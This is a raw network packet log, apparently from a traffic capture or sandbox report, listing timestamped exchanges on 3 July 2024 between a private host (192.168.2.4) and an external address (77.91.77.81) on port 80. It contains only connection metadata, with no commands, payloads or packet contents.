Jul 3, 2024 23:59:25.869051933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869057894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869090080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869107962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869123936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869133949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869168997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869177103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869227886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869391918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869424105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869446039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869465113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869473934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869524002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869525909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869556904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869579077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869590044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869604111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869622946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869637966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869657993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869671106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869689941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869702101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869735003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869745970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869780064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869795084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869812965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869823933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869847059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869860888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869879961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869901896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869915962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869916916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869949102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.869961977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.869992971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870017052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870049000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870065928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870080948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870096922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870124102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870192051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870223999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870238066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870255947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870264053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870284081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870302916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870316982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870327950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870352030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870361090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870384932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870398998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870419979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870440006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870462894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870512962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870544910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870563030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870578051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870592117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870610952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870621920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870644093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870659113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870676994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870690107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870708942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870724916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870740891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870754004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870774031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870784998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870820999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870841980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870874882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870893955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870908022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870918989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870942116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870954990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.870975971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.870980978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871009111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871018887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871042013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871056080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871082067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871134996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871166945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871181011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871198893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871211052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871232986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871243954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871265888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871278048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871298075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871311903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871331930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871342897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871365070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871371031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871397972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871407986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871444941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871463060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871514082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871598005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871630907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871644974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871664047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871678114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871696949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871710062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871727943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871738911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871761084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871772051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871793985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871798992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871825933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871839046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871860027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871876955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871892929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871905088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871927023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871937990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871963024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.871965885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.871994972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.872010946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.872028112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.872036934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.872061014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.872078896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.872092962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.872104883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.872126102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.872139931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.872159004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.872175932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.872203112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.913537025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913728952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.913739920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913769960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913815975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913834095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.913861990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.913865089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913909912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.913916111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913949013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913960934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.913980961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.913992882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914030075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914032936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914061069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914082050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914092064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914093971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914125919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914136887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914158106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914170027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914191008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914199114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914222956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914236069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914258957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.914267063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.914302111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936414957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936465025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936477900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936511993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936553955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936606884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936608076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936640024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936656952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936682940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936691999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936724901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936738014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936758995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936769962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936788082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936803102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936817884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936837912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936872959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936891079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936903000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936923981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936939001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936949968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.936970949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.936983109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.937005997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.937017918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.937056065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.937068939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.937088013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.937098026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.937138081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964096069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964155912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964327097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964355946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964378119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964387894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964396954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964421034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964437962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964464903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964471102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964517117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964554071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964603901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964607954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964651108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964653969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964703083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964704037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964750051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964771986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964804888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964824915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964838982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964857101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964870930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964893103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964924097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964930058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.964973927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.964978933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965013027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965048075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965048075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965085030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965096951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965126038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965142965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965159893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965176105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965195894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965225935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965226889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965260029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965267897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965305090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965311050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965337992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965354919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965388060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965389013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965421915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965440035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965455055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965475082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965487957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965506077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965533018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965538979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965572119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965583086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965605021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965629101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965647936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965668917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965687037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965713024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965719938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965730906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965754032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965761900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965785980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965806007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965817928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965836048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965850115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965863943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965883017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965900898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965917110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965934038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965950012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.965960979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.965985060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966001034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966017008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966029882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966057062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966058969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966088057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966118097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966120958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966140985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966157913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966188908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966191053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966196060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966233969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966243982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966275930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966290951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966308117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966330051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966341019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966348886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966373920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966388941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966407061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966418982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966439962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966449976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966475964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.966486931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.966532946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967307091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967339993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967355013 CEST	49744	80	192.168.2.4	77.91.77.81
